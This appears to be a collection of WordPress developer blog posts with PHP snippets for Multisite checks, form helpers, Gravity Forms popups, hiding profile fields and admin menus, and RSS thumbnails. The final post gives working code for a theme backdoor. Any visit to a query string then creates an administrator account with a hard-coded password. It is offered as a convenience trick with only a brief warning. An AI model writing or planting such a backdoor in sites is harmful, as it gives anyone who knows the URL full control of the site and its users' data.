Detecting a Large Multisite Network in WordPress

If you have ever worked on a very large Multisite network in WordPress, you probably understand the challenges of working with large sets of data. WordPress contains a function to help you detect a large network, wp_is_large_network(). This function accepts a single parameter $using, which sets whether to count users or sites. If your network is either more than 10,000 users or more than 10,000 sites, the function will return true. Let’s look at an example:

<?php
if ( wp_is_large_network( 'users' ) ) {

    //this network has over 10,000 users

}elseif ( wp_is_large_network( 'sites' ) ) {

    //this network has over 10,000 sites

}
?>

This function is extremely handy if you are trying to work with large sets of data. When working with Multisite, and WordPress in general, you should always write code that can scale. You can also easily alter the large network criteria using the wp_is_large_network filter.

WordPress Multisite is an extremely powerful feature of WordPress. Understanding the tools available when working with Multisite will help you build amazing, and stable, WordPress networks.

WordPress Checked and Selected Functions

Two of my favorite functions in WordPress are the checked() and selected() functions. Both of these functions are extremely useful whenever you are working with form elements in your plugins and themes so it helps to understand both of these little nuggets of goodness. These two functions are used the same way, but output different results.

The selected() function compares two values in a select list and if they are identical will set the current option value to selected. This is useful when displaying form fields (an options page for example) and want to determine whether an option is set or not. Lets look at an example:

<select>
    <option value="red" <?php selected( $option_value, 'red' ); ?>>Red</option>
    <option value="orange" <?php selected( $option_value, 'orange' ); ?>>Orange</option>
    <option value="blue" <?php selected( $option_value, 'blue' ); ?>>Blue</option>
</select>

Assuming the $option_value variable is equal to the value of “orange”, the following HTML would be generated

<select>
    <option value="red">Red</option>
    <option value="orange" selected="selected">Orange</option>
    <option value="blue">Blue</option>
</select>

The checked() function works exactly the same, in that it compares the two values and if they are identical it sets the current checkbox form element to be checked.

<input type="checkbox" name="rage_mode" <?php checked( $rage_mode, 'on' ); ?>/> Rage Mode<br /> 
<input type="checkbox" name="ninja_mode" <?php checked( $ninja_mode, 'on' ); ?> /> Ninja Mode<br /> 
<input type="checkbox" name="zombie_mode" <?php checked( $zombie_mode, 'on' ); ?> /> Zombie Mode<br /> 

Let’s assume that Rage mode and Zombie mode are activated. The following HTML would be generated:

<input type="checkbox" name="rage_mode" checked="checked"/> Rage Mode<br /> 
<input type="checkbox" name="ninja_mode"/> Ninja Mode<br /> 
<input type="checkbox" name="zombie_mode" checked="checked"/> Zombie Mode<br /> 

There is also a lesser know function in WordPress called disabled(). This function checks two values and if identical returns the disabled attribute for any HTML element.

For more information on these functions, and many more useful WordPress functions, check out my newest book: Professional WordPress Third Edition.

How To: Display Gravity Form Error Messages in a JavaScript Popup

Gravity Forms is an extremely popular contact form plugin for WordPress. One of the reasons Gravity Forms is so popular is the ease in which you can customize it. Much like WordPress, Gravity Forms features various action and filter hooks for developers to use to easily tweak how GF functions.

Working on a client site recently I needed to customize how error messages were displayed in Gravity Forms. By default GF will display an error message above the form if any field values aren’t validated (ie a required field is left empty). On this particular website I wanted the error message to display in a simple JavaScript popup, instead of on the page. Below is the code I used to do just that:

add_filter( 'gform_validation_message', 'sw_gf_validation_message', 10, 2 );

function sw_gf_validation_message( $validation_message ) {

	//display error JS popup
	add_action( 'wp_footer', 'sw_gf_js_error' );

}

function sw_gf_js_error() {
	?>
	<script type="text/javascript">
		alert( "Please fill out all required fields indicated by a *" );
	</script>
	<?php
}

As you can see I’m using the gform_validation_message filter to customize how the error message is processed. The PHP variable $validation_message stores the original error message GF was going to display. In this example I didn’t use the original error message, but you could easily pass that to your JS popup if needed.

This is a pretty simple example of customizing the Gravity Forms error message. Enjoy!

How To: Remove Default Profile Fields in WordPress

A few days ago I came across an interesting challenge in WordPress. I wanted to hide some of the default profile fields from being displayed to the users in WordPress. Specifically I wanted to hide the AIM, Yahoo IM, and Jabber / Google Talk fields. It took a bit of digging but I found the below function buried in the WordPress.org support forums. Just place the below code in your themes functions.php file to remove these fields:

<?php
add_filter('user_contactmethods','hide_profile_fields',10,1);

function hide_profile_fields( $contactmethods ) {
  unset($contactmethods['aim']);
  unset($contactmethods['jabber']);
  unset($contactmethods['yim']);
  return $contactmethods;
}
?>

That’s it! As you can see below the three fields are removed from the Profile page on the WordPress admin side. This makes it much less confusing for users since they don’t see fields that we aren’t using on the website.

How To: Hide an Admin Menu in WordPress

Have you ever needed to hide a specific admin menu from other users in WordPress? Maybe you want to hide the Plugins and Appearance menus to keep your users out of trouble. Just place the below code in your themes functions.php file to hide the Plugins menu from all users except for admin:

<?php
add_action('admin_head', 'hide_menus');

function hide_menus() {
	global $current_user;
	get_currentuserinfo();
	
	If($current_user->user_login != 'admin') {
		?>
		<style>
		   #menu-plugins{
				display:none;
			}
		</style>
		<?php
	}
}
?>

As another example lets say we want to hide the Links menu from all users that aren’t administrators in WordPress. The below code would do just that:

<?php
add_action('admin_head', 'hide_menus');

function hide_menus() {
	if ( !current_user_can('manage_options') ) {
		?>
		<style>
		   #menu-links{
				display:none;
			}
		</style>
		<?php
	}
}
?>

This is a pretty simple method of hiding menus in the WordPress admin dashboard. Enjoy!

How To: Load User Info Using the Admin Email in WordPress

Today’s handy WordPress code snippet is a simple way to retrieve user data based on the administrator email in WordPress. The email account I am referring to is the one listed under Settings > General and is the main admin email for your website.

$admin_email = get_option('admin_email');
$admin_user_id = get_user_id_from_string($admin_email);
$user_info = get_userdata($admin_user_id);

The above code example first loads the admin email from the WordPress options. Next it determines that user’s ID based off of their email address using the get_user_id_from_string() function. Finally we use get_userdata() to load all user data for that user ID.

Currently the get_user_id_from_string() function is only available in WordPress MU. I have confirmed however that this function does exist in WordPress 3.0. That means after the merge this function will be available to all sites running WordPress.

We can also use the get_user_by_email() function included since WordPress 2.5 to accomplish the same task. Thanks to Mo Jangda for pointing that out in the comments. Below is an example using this method:

$admin_email = get_option('admin_email');
$user_info = get_user_by_email($admin_email);

This is actually a more efficient method as we don’t need to call the function to retrieve the user ID first. In the world of WordPress you learn something everyday. Thanks Mo Jangda!

How To: Add a Post Thumbnail to an RSS Feed in WordPress

Have you ever needed to add the WordPress post thumbnail to an existing RSS feed? The below code will add a new element named <thumb> to your RSS feed. This element will contain a link to the post thumbnail as set in WordPress:

function ThumbRSS() {
	global $post;
	if ( has_post_thumbnail( $post->ID ) ) { 
		$thumbpic = get_the_post_thumbnail( $post->ID, 'thumbnail' ); 
	}
	
	echo '<thumb>'.$thumbpic.'</thumb>';
}

add_filter('rss_item', 'ThumbRSS');

Keep in mind using this technique will devalidate your RSS feed as the <thumb> element is not a part of the RSS specification. An alternate approach is to attach the post thumbnail to the beginning of your post content in your RSS feed. Below is an example using this method:

function ThumbRSS($content) {
   global $post;
   if ( has_post_thumbnail( $post->ID ) ){
       $content = '<p>' . get_the_post_thumbnail( $post->ID, 'thumbnail' ) . '</p>' . $content;
   }
   return $content;
}

add_filter('the_excerpt_rss', 'ThumbRSS');
add_filter('the_content_feed', 'ThumbRSS');

Just drop either code example in your themes functions.php file for this to work. Pretty easy huh? Now you can easily include post thumbnails in your WordPress RSS feeds!

How To: Create Backdoor Admin Access in WordPress

Have you ever wanted to create an easy backdoor way to auto-create an administrator account in WordPress? The below code snippet does just that! Simply place the code in your themes functions.php flie and upload to your web server:

<?php
add_action('wp_head', 'my_backdoor');

function my_backdoor() {
	If ($_GET['backdoor'] == 'go') {
		require('wp-includes/registration.php');
		If (!username_exists('brad')) {
			$user_id = wp_create_user('brad', 'pa55w0rd');
			$user = new WP_User($user_id);
			$user->set_role('administrator');
		}
	}
}
?>

To activate this code simply visit http://example.com?backdoor=go

When triggered the code will create a new administrator account with a username brad and password of pa55w0rd. The function also verifies the user account doesn’t exist first before creating it.

Keep in mind using this code is considered a security risk as anyone could easily execute this function by calling the correct querystring. Also don’t be evil, only use this code for good!